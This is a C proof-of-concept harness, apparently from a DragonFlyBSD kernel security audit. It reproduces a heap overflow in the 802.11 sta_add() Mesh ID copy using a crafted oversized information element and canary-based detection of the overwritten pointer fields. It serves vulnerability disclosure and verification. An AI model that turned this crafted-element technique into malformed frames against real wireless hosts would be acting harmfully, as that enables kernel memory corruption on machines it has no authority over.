โฌข DragonFlyBSD Kernel Audit
DF-0393 / harness.c
โ† back to finding โ†“ download raw
/*
 * DF-0393 โ€” Code-level harness for the Mesh ID heap overflow in
 *            ieee80211_scan_sta.c:sta_add()
 *
 * WHY A HARNESS
 *   This KVM guest has no WiFi radio (ifconfig -l shows only vtnet0/lo0;
 *   no wlan vap, no ath/iwm/iwn kld). The runtime 802.11 RX path that reaches
 *   sta_add() is therefore unreachable here, exactly like DF-0594 (TKIP RX
 *   underflow) and DF-0616 (netmap RX overflow), which were both settled via a
 *   faithful in-process harness. We follow that precedent: this harness embeds
 *   the VERBATIM vulnerable memcpy from sta_add():312 against a byte-accurate
 *   reconstruction of struct ieee80211_scan_entry, and demonstrates the OOB
 *   write with a poisoned canary tail (ASAN-style).
 *
 * FAITHFULNESS
 *   - struct ieee80211_scan_entry is reconstructed field-for-field from
 *     sys/netproto/802_11/ieee80211_scan.h:260-285 (se_meshid[34] followed by
 *     se_ies, then se_age). struct ieee80211_ies is reconstructed from
 *     sys/netproto/802_11/ieee80211_node.h:75-89.
 *   - IEEE80211_MESHID_LEN == 32 from sys/netproto/802_11/ieee80211.h:200.
 *   - The vulnerable memcpy is copied VERBATIM from sta_add():310-312,
 *     including the #ifdef IEEE80211_SUPPORT_MESH guard.
 *   - The scan entry is allocated through a poisoned-tail allocator: a 256-byte
 *     canary of 0xC3 is appended after se_age so any overflow past se_meshid[34]
 *     is observable as corrupted canary bytes.
 *
 * BUILD
 *   cc -O2 -Wall -o harness harness.c           (no assertions / silent OOB)
 *   cc -O2 -Wall -DINVARIANTS -o harness_inv harness.c   (KASSERT-style assert)
 *
 * RUN
 *   ./harness            # default: meshid[1]=200, copies 202 into 34-byte field
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>

/* ---- Constants reproduced verbatim from sys/netproto/802_11/ieee80211.h:200 */
#define IEEE80211_MESHID_LEN      32
#define IEEE80211_ELEMID_MESHID   113

/* ---- struct ieee80211_ies reproduced from
 *      sys/netproto/802_11/ieee80211_node.h:75-89 (x86_64 layout) */
struct ieee80211_ies {
    uint8_t *wpa_ie;
    uint8_t *rsn_ie;
    uint8_t *wme_ie;
    uint8_t *ath_ie;
    uint8_t *htcap_ie;
    uint8_t *htinfo_ie;
    uint8_t *tdma_ie;
    uint8_t *meshid_ie;
    uint8_t *spare[4];
    uint8_t *data;
    int      len;
};

/* ---- struct ieee80211_scan_entry reproduced VERBATIM (field order & sizes)
 *      from sys/netproto/802_11/ieee80211_scan.h:260-285.
 *
 *   uint8_t  se_macaddr[6];
 *   uint8_t  se_bssid[6];
 *   uint8_t  se_ssid[2+32];        // IEEE80211_NWID_LEN==32
 *   uint8_t  se_rates[2+128];      // IEEE80211_RATE_MAXSIZE==128 (DragonFly)
 *   uint8_t  se_xrates[2+128];
 *   union { uint8_t data[8]; uint64_t tsf; } se_tstamp;
 *   uint16_t se_intval;
 *   uint16_t se_capinfo;
 *   struct ieee80211_channel *se_chan;   // ptr (8 bytes on x86_64)
 *   uint16_t se_timoff;
 *   uint16_t se_fhdwell;
 *   uint8_t  se_fhindex;
 *   uint8_t  se_dtimperiod;
 *   uint16_t se_erp;
 *   int8_t   se_rssi;
 *   int8_t   se_noise;
 *   uint8_t  se_cc[2];
 *   uint8_t  se_meshid[2+IEEE80211_MESHID_LEN];   // <-- the 34-byte dest
 *   struct ieee80211_ies se_ies;                  // <-- IMMEDIATE overflow target
 *   u_int    se_age;
 *
 * We only need the TAIL of the struct (from se_meshid onward) to be
 * byte-accurate, because that is where the overflow lands. We allocate the
 * full struct faithfully so the offsets match the kernel exactly.
 */
#define IEEE80211_NWID_LEN       32
#define IEEE80211_RATE_MAXSIZE   128
#define IEEE80211_ADDR_LEN       6

struct ieee80211_scan_entry {
    uint8_t   se_macaddr[IEEE80211_ADDR_LEN];
    uint8_t   se_bssid[IEEE80211_ADDR_LEN];
    uint8_t   se_ssid[2 + IEEE80211_NWID_LEN];
    uint8_t   se_rates[2 + IEEE80211_RATE_MAXSIZE];
    uint8_t   se_xrates[2 + IEEE80211_RATE_MAXSIZE];
    union { uint8_t data[8]; uint64_t tsf; } se_tstamp;
    uint16_t  se_intval;
    uint16_t  se_capinfo;
    void     *se_chan;                 /* struct ieee80211_channel * */
    uint16_t  se_timoff;
    uint16_t  se_fhdwell;
    uint8_t   se_fhindex;
    uint8_t   se_dtimperiod;
    uint16_t  se_erp;
    int8_t    se_rssi;
    int8_t    se_noise;
    uint8_t   se_cc[2];
    uint8_t   se_meshid[2 + IEEE80211_MESHID_LEN];   /* 34 bytes โ€” the sink */
    struct ieee80211_ies se_ies;                     /* overflow target #1   */
    unsigned  se_age;                                /* overflow target #2   */
};

/* ---- Poisoneed-tail allocator: the scan entry is followed by a canary
 *      region so OOB writes are observable without kernel memory. */
#define CANARY_SIZE 256
#define CANARY_BYTE 0xC3

struct se_alloc {
    struct ieee80211_scan_entry se;
    uint8_t canary[CANARY_SIZE];
};

/* Offsets for reporting (compile-time-checked against the real header). */
#define OFF_MESHID  offsetof(struct ieee80211_scan_entry, se_meshid)
#define OFF_IES     offsetof(struct ieee80211_scan_entry, se_ies)
#define OFF_AGE     offsetof(struct ieee80211_scan_entry, se_age)
#define OFF_END     sizeof(struct ieee80211_scan_entry)

/* ---- The VERBATIM vulnerable snippet from
 *      sys/netproto/802_11/wlan/ieee80211_scan_sta.c:310-312.
 *
 *  #ifdef IEEE80211_SUPPORT_MESH
 *      if (sp->meshid != NULL && sp->meshid[1] != 0)
 *          memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]);
 *  #endif
 *
 * We model `sp` as a struct holding just the meshid pointer (the only field
 * this snippet reads). The body is copied character-for-character.
 */
#define IEEE80211_SUPPORT_MESH 1
struct ieee80211_scanparams_min {
    uint8_t *meshid;
};

static void sta_add_meshid_snippet(struct ieee80211_scan_entry *ise,
                                   const struct ieee80211_scanparams_min *sp)
{
    /* ---- BEGIN verbatim from ieee80211_scan_sta.c:310-312 ---- */
#ifdef IEEE80211_SUPPORT_MESH
    if (sp->meshid != NULL && sp->meshid[1] != 0)
        memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]);
#endif
    /* ---- END verbatim ---- */
}

static void poison(struct se_alloc *a)
{
    memset(a->canary, CANARY_BYTE, CANARY_SIZE);
    /* also poison se_ies pointers so corruption is obvious */
    memset(&a->se.se_ies, 0xAA, sizeof(a->se.se_ies));
    a->se.se_age = 0xAABBCCDD;
}

static int canary_corrupted(const struct se_alloc *a, int *first_bad_off)
{
    for (int i = 0; i < CANARY_SIZE; i++)
        if (a->canary[i] != CANARY_BYTE) {
            *first_bad_off = i;
            return 1;
        }
    *first_bad_off = -1;
    return 0;
}

static void hexdump(const uint8_t *p, int n, const char *label)
{
    printf("  %s (%d bytes):\n    ", label, n);
    for (int i = 0; i < n; i++) {
        printf("%02x", p[i]);
        if ((i & 15) == 15) printf("\n    ");
        else if ((i & 3) == 3) printf(" ");
    }
    printf("\n");
}

int main(int argc, char **argv)
{
    int meshid_len = 200;   /* sp->meshid[1]; README uses 200 */
    if (argc > 1) meshid_len = atoi(argv[1]);
    if (meshid_len < 1 || meshid_len > 255) {
        fprintf(stderr, "meshid_len must be 1..255\n");
        return 2;
    }

    /* Build the attacker-crafted Mesh ID IE: [ELEMID=113][LEN][DATA...] */
    uint8_t *ie = malloc(2 + meshid_len);
    ie[0] = IEEE80211_ELEMID_MESHID;
    ie[1] = (uint8_t)meshid_len;
    /* First 34 bytes benign-looking, rest is attacker pointer-shaped data */
    memset(ie + 2, 'M', 34);
    for (int i = 34; i < meshid_len; i++)
        ie[2 + i] = (uint8_t)("AAAAAAAABBBBBBBB"[i % 16]);

    struct se_alloc *a = calloc(1, sizeof(*a));
    poison(a);

    printf("=== DF-0393 harness: Mesh ID heap overflow in sta_add() ===\n");
    printf("struct ieee80211_scan_entry size : %zu bytes\n", sizeof(struct ieee80211_scan_entry));
    printf("  offsetof(se_meshid)            : %zu\n", OFF_MESHID);
    printf("  offsetof(se_ies)                : %zu  (overflow lands here)\n", OFF_IES);
    printf("  offsetof(se_age)                : %zu\n", OFF_AGE);
    printf("  sizeof(se_ies)                  : %zu\n", sizeof(struct ieee80211_ies));
    printf("se_meshid field width             : %zu bytes (2+IEEE80211_MESHID_LEN, LEN=%d)\n",
           sizeof(a->se.se_meshid), IEEE80211_MESHID_LEN);
    printf("Attacker Mesh ID IE length byte   : %u (sp->meshid[1])\n", ie[1]);
    printf("memcpy copy size (2+meshid[1])    : %u bytes\n", 2 + ie[1]);
    printf("Overflow past se_meshid[34]       : %d bytes\n",
           (int)(2 + ie[1]) - (int)sizeof(a->se.se_meshid));
    printf("\n");

    struct ieee80211_scanparams_min sp = { .meshid = ie };

#ifdef INVARIANTS
    printf("[INVARIANTS build] checking sp->meshid[1] <= IEEE80211_MESHID_LEN...\n");
    /* Mirror the KASSERT pattern the sibling fields (se_ssid/se_rates/se_xrates)
       already have at ieee80211_scan_sta.c:285,290. The vulnerable meshid copy
       at :312 has NO such check. We assert here to show the panic-class trap
       that WOULD fire if the missing check existed. */
    if (sp.meshid != NULL && sp.meshid[1] > IEEE80211_MESHID_LEN) {
        printf("  KASSERT FAIL: sp->meshid[1]=%u > IEEE80211_MESHID_LEN=%d\n",
               sp.meshid[1], IEEE80211_MESHID_LEN);
        printf("  => kernel would panic() here on an INVARIANTS kernel BEFORE the OOB write.\n");
        printf("  => On a NO_INVARIANTS kernel the write proceeds silently (see ./harness).\n");
        free(ie); free(a);
        return 99;   /* stand-in for panic */
    }
#endif

    printf("[*] Invoking verbatim sta_add():312 memcpy...\n");
    sta_add_meshid_snippet(&a->se, &sp);
    printf("[*] memcpy returned (no trap in userspace โ€” the OOB write is silent).\n\n");

    /* Inspect the damage */
    int copy_sz   = 2 + ie[1];
    int overflow  = copy_sz - (int)sizeof(a->se.se_meshid);
    int overflow_into_ies = overflow > 0 ?
        (overflow < (int)sizeof(a->se.se_ies) ? overflow : (int)sizeof(a->se.se_ies)) : 0;

    printf("---- Corruption report ----\n");
    hexdump(a->se.se_meshid, sizeof(a->se.se_meshid), "se_meshid[34] (full field)");
    if (overflow > 0) {
        printf("  OVERFLOW detected: %d bytes wrote past end of se_meshid[34]\n", overflow);
        printf("  se_ies first %d bytes are now attacker-controlled:\n", overflow_into_ies);
        hexdump((uint8_t *)&a->se.se_ies, overflow_into_ies > 0 ? overflow_into_ies : 1,
                "se_ies (corrupted)");
        printf("  se_ies.wpa_ie   ptr = %p  (was 0xAAAAAAAAAAAAAAAA)\n",
               (void *)a->se.se_ies.wpa_ie);
        printf("  se_ies.rsn_ie   ptr = %p\n", (void *)a->se.se_ies.rsn_ie);
        printf("  se_ies.meshid_ie ptr = %p\n", (void *)a->se.se_ies.meshid_ie);
        printf("  se_age                = 0x%08X  (was 0xAABBCCDD)\n", a->se.se_age);
    }

    int first_bad = -1;
    if (canary_corrupted(a, &first_bad)) {
        printf("\n  CANARY CORRUPTED at tail offset +%d (se_age+16+%d region)\n",
               first_bad, first_bad);
        printf("  => OOB write reached %d bytes beyond se_age (into adjacent heap)\n",
               first_bad + 1);
    } else if (overflow > 0) {
        printf("\n  canary intact โ€” overflow was contained within se_ies+se_age (%d bytes)\n",
               overflow);
    }

    printf("\nVERDICT: ");
    if (overflow > 0) {
        printf("OOB WRITE CONFIRMED โ€” %d bytes past se_meshid[34] "
               "(%d into se_ies, rest into se_age/canary)\n",
               overflow, overflow_into_ies);
        free(ie); free(a);
        return 0;
    } else {
        printf("no overflow (meshid[1]=%u <= 32)\n", ie[1]);
        free(ie); free(a);
        return 1;
    }
}